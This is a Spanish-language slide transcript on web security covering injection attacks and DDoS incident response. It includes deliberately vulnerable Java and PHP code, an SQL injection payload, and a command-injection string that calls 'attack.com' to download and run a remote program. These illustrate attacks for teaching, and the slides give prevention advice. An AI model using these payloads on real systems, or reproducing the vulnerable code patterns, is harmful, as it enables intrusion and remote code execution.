seguridad en aplicaciones web
Post on 26-Jul-2015
51 Views
Preview:
TRANSCRIPT
Ataques por inyección • Telecom vs.• En febrero de 2008 el gobierno de Pakistán decidió desviar YouTube
de sus ciudadanos a una pagina clonada (con el contenido que ellos consideraban ofensivo, bloqueado), el problema fue que la falsa indicación se extendió por el globo. • Los servidores de Telecom no estaban preparados para el trafico de
2/3 de todos los usuarios de YouTube, y colapsaron.• El problema se corrigió agresivamente.
Ataques por inyección
Separación entre datos de usuario e instrucciones, requiere 3 elementos:
1. Identificar tecnologías.
2. Identificar todas las posibles entradas (inputs).
3. Y encontrar las entradas que son mas propensas a vulneración.
Tipos:
• Inyección SQL.
• Inyección Xpath.
• Inyección de comando.
• Directory Traversal Attacks.
• Ataques XXE (XML eXternal Entity).
• Inyección LDAP.
• Sobre carga de Buffer.
Ataques por inyección [INYECCIÓN SQL]Ejemplo de código Java
String username = req.getParameter("username");String password = req.getParameter("password");
String query = "SELECT id FROM user_table WHERE " + "username = '" + username + "' AND " + "password = PASSWORD('" + password + "')";
ResultSet rs = stmt.executeQuery(query);int id = -1; while (rs.next()) {
id = rs.getInt("id");}
El ataque, cambiara la sentencia SQL SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password= PASSWORD('x')
PREVENCIÓNValidar datos de entrada y/o agregar interruptores en sus inputsDesde el código, separando los datos del usuario de las sentencias SQL.
Popularidad: 8Simplicidad: 8Impacto:9Riesgo: 9
Ataques por inyección [INYECCIÓN DE COMANDO]De tener éxito da al atacante control remoto “completo” de el sistema.
<?php
$email_subject = "some subject";
if ( isset($_GET{'email'})) {
system("mail " + $_GET{'email'}) + " -s '" + $email_subject +
"' < /tmp/email_body", $return_val);
}
?>
Puede por ejemplo ingresar el siguiente código en lugar de la cadena de email.
--help; wget http://attack.com/programa_intruso; ./programa_intruso #
En cuyo caso, el resultado seria una instrucción que descargue un programa intruso.
mail --help; wget http://attack.com/programa_intruso ; ./programa_intruso # s 'some subject' < /tmp/email_body Popularidad: 8Simplicidad: 8Impacto: 10Riesgo: 10
Ataques por inyección [botnet]
Ejemplo de código JavaString username =
req.getParameter("username");
Popularidad: 8Simplicidad: 8Impacto:9Riesgo: 9
<contenido>…</contenido>
Para el contenido completo, por favor has tu solicitud en:dennieru.com@gmail.comY te la enviare con gusto.
Ataques de Denegación de Servicios
[Gestión de respuesta ante incidentes DDoS]
Preparación:• Establecer contactos con proveedores de Internet y autoridades de la ley, y con el personal interno pertinente.• Crear un listado de protocolos y direcciones IP prioritarios.• Fortalecer la infraestructura de red objetivo de posibles ataques y optimizar su referencia para que un ataque pueda ser rápidamente identificado.• Ajustar la configuración de DNS en poco tiempo. • Establecer el coste de un ataque.
Identificación:• Revisar el origen de direcciones IP, puertos de destino, direcciones URL y banderas de protocolo, y sea específico acerca de lo que el ISP debe de bloquear.• Establecer si la compañía recibió una demanda de extorsión antes del ataque e identificar a los sospechosos.
Contención / reparación:• Desactivar los cuellos de botella de la aplicación, bloquear el tráfico DDoS, y cerrar el servicio cloud más cercano tanto como sea posible.• Establecer filtros de salida para bloquear las respuestas al tráfico DDoS.• Llamar a un CERT nacional y a la policía y suministrarles información detallada.
Secuelas / recuperación:• Consultar con los equipos de la red antes de establecer los servicios.• Evaluar lo que ha funcionado, y lo qué no y construir la experiencia de la recuperación de desastres.
<contenido>…</contenido>
Para el contenido completo, por favor has tu solicitud en:dennieru.com@gmail.comY te la enviare con gusto.
top related